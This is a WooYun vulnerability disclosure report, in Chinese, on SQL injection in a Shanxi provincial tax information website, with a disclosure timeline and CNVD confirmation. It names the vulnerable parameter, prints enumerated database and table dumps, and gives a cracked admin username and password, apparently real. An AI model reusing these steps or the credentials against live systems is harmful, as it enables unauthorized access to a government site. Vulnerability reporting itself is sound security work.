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缺陷编号：wooyun-2015-0136022

漏洞标题：山西省某税务信息网存在SQL注入漏洞(已入后台)

相关厂商：cncert国家互联网应急中心

漏洞作者： 小将

提交时间：2015-08-25 19:12

修复时间：2015-10-10 20:28

公开时间：2015-10-10 20:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-25： 细节已通知厂商并且等待厂商处理中
2015-08-26： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-05： 细节向核心白帽子及相关领域专家公开
2015-09-15： 细节向普通白帽子公开
2015-09-25： 细节向实习白帽子公开
2015-10-10： 细节向公众公开

简要描述：

所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。[1] 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．

详细说明：

存在注入点http://**.**.**.**:80/asklist.asp? 存在隐患的参数keyword


利用cookie进行注入

容器信息.JPG


获取数据库信息

Database: myxjs
[20 tables]
+---------------------------------------------------+
| Newsdata                                          |
| Pclass1                                           |
| Pclass2                                           |
| Sarea                                             |
| Sask                                              |
| Suser                                             |
| Xjadmin                                           |
| Zclass2                                           |
| Zclass2                                           |
| abouts                                            |
| asktype                                           |
| content                                           |
| cyuser                                            |
| dtproperties                                      |
| indexname                                         |
| newscontent                                       |
| newstype                                          |
| rongyu                                            |
| sconfig                                           |
| webconfig                                         |
+---------------------------------------------------+
Database: ebook
[5 tables]
+---------------------------------------------------+
| book                                              |
| chuadmin                                          |
| class                                             |
| dtproperties                                      |
| qikan                                             |
+---------------------------------------------------+
Database: master
[289 tables]
+---------------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS              |
| INFORMATION_SCHEMA.COLUMNS                        |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE            |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES              |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE        |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE         |
| INFORMATION_SCHEMA.DOMAINS                        |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS             |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE               |
| INFORMATION_SCHEMA.PARAMETERS                     |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS        |
| INFORMATION_SCHEMA.ROUTINES                       |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS                |
| INFORMATION_SCHEMA.SCHEMATA                       |
| INFORMATION_SCHEMA.TABLES                         |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS              |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES               |
| INFORMATION_SCHEMA.VIEWS                          |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE              |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE               |
| spt_fallback_db                                   |
| spt_fallback_dev                                  |
| spt_fallback_usg                                  |
| spt_monitor                                       |
| spt_values                                        |
| sys.all_columns                                   |
| sys.all_objects                                   |
| sys.all_parameters                                |
| sys.all_sql_modules                               |
| sys.all_views                                     |
| sys.allocation_units                              |
| sys.assemblies                                    |
| sys.assembly_files                                |
| sys.assembly_modules                              |
| sys.assembly_references                           |
| sys.assembly_types                                |
| sys.asymmetric_keys                               |
| sys.backup_devices                                |
| sys.certificates                                  |
| sys.check_constraints                             |
| sys.column_type_usages                            |
| sys.column_xml_schema_collection_usages           |
| sys.columns                                       |
| **.**.**.**puted_columns                              |
| sys.configurations                                |
| sys.conversation_endpoints                        |
| sys.conversation_groups                           |
| sys.credentials                                   |
| sys.crypt_properties                              |
| sys.data_spaces                                   |
| sys.database_files                                |
| sys.database_mirroring_endpoints                  |
| sys.database_mirroring_endpoints                  |
| sys.database_mirroring_witnesses                  |
| sys.database_permissions                          |
| sys.database_principal_aliases                    |
| sys.database_principals                           |
| sys.database_recovery_status                      |
| sys.database_role_members                         |
| sys.databases                                     |
| sys.default_constraints                           |
| sys.destination_data_spaces                       |
| sys.dm_broker_activated_tasks                     |
| sys.dm_broker_connections                         |
| sys.dm_broker_forwarded_messages                  |
| sys.dm_broker_queue_monitors                      |
| sys.dm_clr_appdomains                             |
| sys.dm_clr_loaded_assemblies                      |
| sys.dm_clr_properties                             |
| sys.dm_clr_tasks                                  |
| sys.dm_db_file_space_usage                        |
| sys.dm_db_index_usage_stats                       |
| sys.dm_db_mirroring_connections                   |
| sys.dm_db_missing_index_details                   |
| sys.dm_db_missing_index_group_stats               |
| sys.dm_db_missing_index_groups                    |
| sys.dm_db_partition_stats                         |
| sys.dm_db_session_space_usage                     |
| sys.dm_db_task_space_usage                        |
| sys.dm_exec_background_job_queue_stats            |
| sys.dm_exec_background_job_queue_stats            |
| sys.dm_exec_cached_plans                          |
| sys.dm_exec_connections                           |
| sys.dm_exec_query_optimizer_info                  |
| sys.dm_exec_query_stats                           |
| sys.dm_exec_query_transformation_stats            |
| sys.dm_exec_requests                              |
| sys.dm_exec_sessions                              |
| sys.dm_fts_active_catalogs                        |
| sys.dm_fts_index_population                       |
| sys.dm_fts_memory_buffers                         |
| sys.dm_fts_memory_pools                           |
| sys.dm_fts_population_ranges                      |
| sys.dm_io_backup_tapes                            |
| sys.dm_io_cluster_shared_drives                   |
| sys.dm_io_pending_io_requests                     |
| sys.dm_os_buffer_descriptors                      |
| sys.dm_os_child_instances                         |
| sys.dm_os_cluster_nodes                           |
| sys.dm_os_hosts                                   |
| sys.dm_os_latch_stats                             |
| sys.dm_os_loaded_modules                          |
| sys.dm_os_memory_allocations                      |
| sys.dm_os_memory_cache_clock_hands                |
| sys.dm_os_memory_cache_counters                   |
| sys.dm_os_memory_cache_entries                    |
| sys.dm_os_memory_cache_hash_tables                |
| sys.dm_os_memory_clerks                           |
| sys.dm_os_memory_objects                          |
| sys.dm_os_memory_pools                            |
| sys.dm_os_performance_counters                    |
| sys.dm_os_ring_buffers                            |
| sys.dm_os_schedulers                              |
| sys.dm_os_stacks                                  |
| sys.dm_os_sublatches                              |
| sys.dm_os_sys_info                                |
| sys.dm_os_tasks                                   |
| sys.dm_os_threads                                 |
| sys.dm_os_virtual_address_dump                    |
| sys.dm_os_wait_stats                              |
| sys.dm_os_waiting_tasks                           |
| sys.dm_os_worker_local_storage                    |
| sys.dm_os_workers                                 |
| sys.dm_qn_subscriptions                           |
| sys.dm_repl_articles                              |
| sys.dm_repl_schemas                               |
| sys.dm_repl_tranhash                              |
| sys.dm_repl_traninfo                              |
| sys.dm_tran_active_snapshot_database_transactions |
| sys.dm_tran_active_transactions                   |
| sys.dm_tran_current_snapshot                      |
| sys.dm_tran_current_transaction                   |
| sys.dm_tran_database_transactions                 |
| sys.dm_tran_locks                                 |
| sys.dm_tran_session_transactions                  |
| sys.dm_tran_top_version_generators                |
| sys.dm_tran_transactions_snapshot                 |
| sys.dm_tran_version_store                         |
| sys.endpoint_webmethods                           |
| sys.endpoints                                     |
| sys.event_notification_event_types                |
| sys.event_notifications                           |
| sys.events                                        |
| sys.extended_procedures                           |
| sys.extended_properties                           |
| sys.filegroups                                    |
| sys.foreign_key_columns                           |
| sys.foreign_keys                                  |
| sys.fulltext_catalogs                             |
| sys.fulltext_document_types                       |
| sys.fulltext_index_catalog_usages                 |
| sys.fulltext_index_columns                        |
| sys.fulltext_indexes                              |
| sys.fulltext_languages                            |
| sys.http_endpoints                                |
| sys.identity_columns                              |
| sys.index_columns                                 |
| sys.indexes                                       |
| sys.internal_tables                               |
| sys.key_constraints                               |
| sys.key_encryptions                               |
| sys.linked_logins                                 |
| sys.login_token                                   |
| sys.master_files                                  |
| sys.master_key_passwords                          |
| sys.message_type_xml_schema_collection_usages     |
| sys.messages                                      |
| sys.module_assembly_usages                        |
| sys.numbered_procedure_parameters                 |
| sys.numbered_procedures                           |
| sys.objects                                       |
| sys.openkeys                                      |
| sys.parameter_type_usages                         |
| sys.parameter_xml_schema_collection_usages        |
| sys.parameters                                    |
| sys.partition_functions                           |
| sys.partition_parameters                          |
| sys.partition_range_values                        |
| sys.partition_schemes                             |
| sys.partitions                                    |
| sys.plan_guides                                   |
| sys.procedures                                    |
| sys.remote_logins                                 |
| sys.remote_service_bindings                       |
| sys.routes                                        |
| sys.schemas                                       |
| sys.securable_classes                             |
| sys.server_assembly_modules                       |
| sys.server_event_notifications                    |
| sys.server_events                                 |
| sys.server_permissions                            |
| sys.server_principals                             |
| sys.server_role_members                           |
| sys.server_sql_modules                            |
| sys.server_trigger_events                         |
| sys.server_triggers                               |
| sys.servers                                       |
| sys.service_broker_endpoints                      |
| sys.service_contract_message_usages               |
| sys.service_contract_usages                       |
| sys.service_contracts                             |
| sys.service_message_types                         |
| sys.service_queue_usages                          |
| sys.service_queues                                |
| sys.services                                      |
| sys.soap_endpoints                                |
| sys.sql_dependencies                              |
| sys.sql_logins                                    |
| sys.sql_modules                                   |
| sys.stats_columns                                 |
| sys.stats_columns                                 |
| sys.symmetric_keys                                |
| sys.synonyms                                      |
| sys.sysaltfiles                                   |
| sys.syscacheobjects                               |
| sys.syscharsets                                   |
| sys.syscolumns                                    |
| sys.syscomments                                   |
| sys.sysconfigures                                 |
| sys.sysconstraints                                |
| sys.syscurconfigs                                 |
| sys.syscursorcolumns                              |
| sys.syscursorrefs                                 |
| sys.syscursors                                    |
| sys.syscursortables                               |
| sys.sysdatabases                                  |
| sys.sysdepends                                    |
| sys.sysdevices                                    |
| sys.sysfilegroups                                 |
| sys.sysfiles                                      |
| sys.sysforeignkeys                                |
| sys.sysfulltextcatalogs                           |
| sys.sysindexes                                    |
| sys.sysindexkeys                                  |
| sys.syslanguages                                  |
| sys.syslockinfo                                   |
| sys.syslogins                                     |
| sys.sysmembers                                    |
| sys.sysmessages                                   |
| sys.sysobjects                                    |
| sys.sysoledbusers                                 |
| sys.sysopentapes                                  |
| sys.sysperfinfo                                   |
| sys.syspermissions                                |
| sys.sysprocesses                                  |
| sys.sysprotects                                   |
| sys.sysreferences                                 |
| sys.sysremotelogins                               |
| sys.syssegments                                   |
| sys.sysservers                                    |
| sys.system_columns                                |
| sys.system_components_surface_area_configuration  |
| sys.system_internals_allocation_units             |
| sys.system_internals_partition_columns            |
| sys.system_internals_partitions                   |
| sys.system_objects                                |
| sys.system_parameters                             |
| sys.system_sql_modules                            |
| sys.system_views                                  |
| sys.systypes                                      |
| sys.sysusers                                      |
| sys.tables                                        |
| sys.tcp_endpoints                                 |
| sys.trace_categories                              |
| sys.trace_columns                                 |
| sys.trace_event_bindings                          |
| sys.trace_events                                  |
| sys.trace_subclass_values                         |
| sys.traces                                        |
| sys.transmission_queue                            |
| sys.trigger_events                                |
| sys.triggers                                      |
| sys.type_assembly_usages                          |
| sys.types                                         |
| sys.user_token                                    |
| sys.via_endpoints                                 |
| sys.views                                         |
| sys.xml_indexes                                   |
| sys.xml_schema_attributes                         |
| sys.xml_schema_collections                        |
| sys.xml_schema_component_placements               |
| sys.xml_schema_components                         |
| sys.xml_schema_elements                           |
| sys.xml_schema_facets                             |
| sys.xml_schema_model_groups                       |
| sys.xml_schema_namespaces                         |
| sys.xml_schema_types                              |
| sys.xml_schema_wildcard_namespaces                |
| sys.xml_schema_wildcards                          |
+---------------------------------------------------+
Database: msdb
[9 tables]
+---------------------------------------------------+
| backupfile                                        |
| backupmediafamily                                 |
| backupmediaset                                    |
| backupset                                         |
| logmarkhistory                                    |
| restorefilegroup                                  |
| restorefilegroup                                  |
| restorehistory                                    |
| suspect_pages                                     |
+---------------------------------------------------+


获取当前数据库所有表的信息
Database: myxjs
[20 tables]
+---------------------------------------------------+
| Newsdata                                          |
| Pclass1                                           |
| Pclass2                                           |
| Sarea                                             |
| Sask                                              |
| Suser                                             |
| Xjadmin                                           |
| Zclass2                                           |
| Zclass2                                           |
| abouts                                            |
| asktype                                           |
| content                                           |
| cyuser                                            |
| dtproperties                                      |
| indexname                                         |
| newscontent                                       |
| newstype                                          |
| rongyu                                            |
| sconfig                                           |
| webconfig                                         |
+---------------------------------------------------+
猜解xjadmin表中的字段内容：
Database: myxjs                                                                
Table: xjadmin
[5 columns]
+---------+----------+
| Column  | Type     |
+---------+----------+
| addtime | datetime |
| admin   | nvarchar |
| admpwd  | nvarchar |
| flag    | int      |
| ID      | int      |
+---------+----------+


获取网站后台管理账号密码：

账号密码.JPG


通过MD5解密
账号：chu 密码;830507

漏洞证明：


登陆到后台：

登陆到后台.png

修复方案：

对存在SQL注入的漏洞网站加入屏蔽字符

版权声明：转载请注明来源 小将@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-08-26 20:26

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给山西分中心，由其后续协调网站管理单位处置。

最新状态：

暂无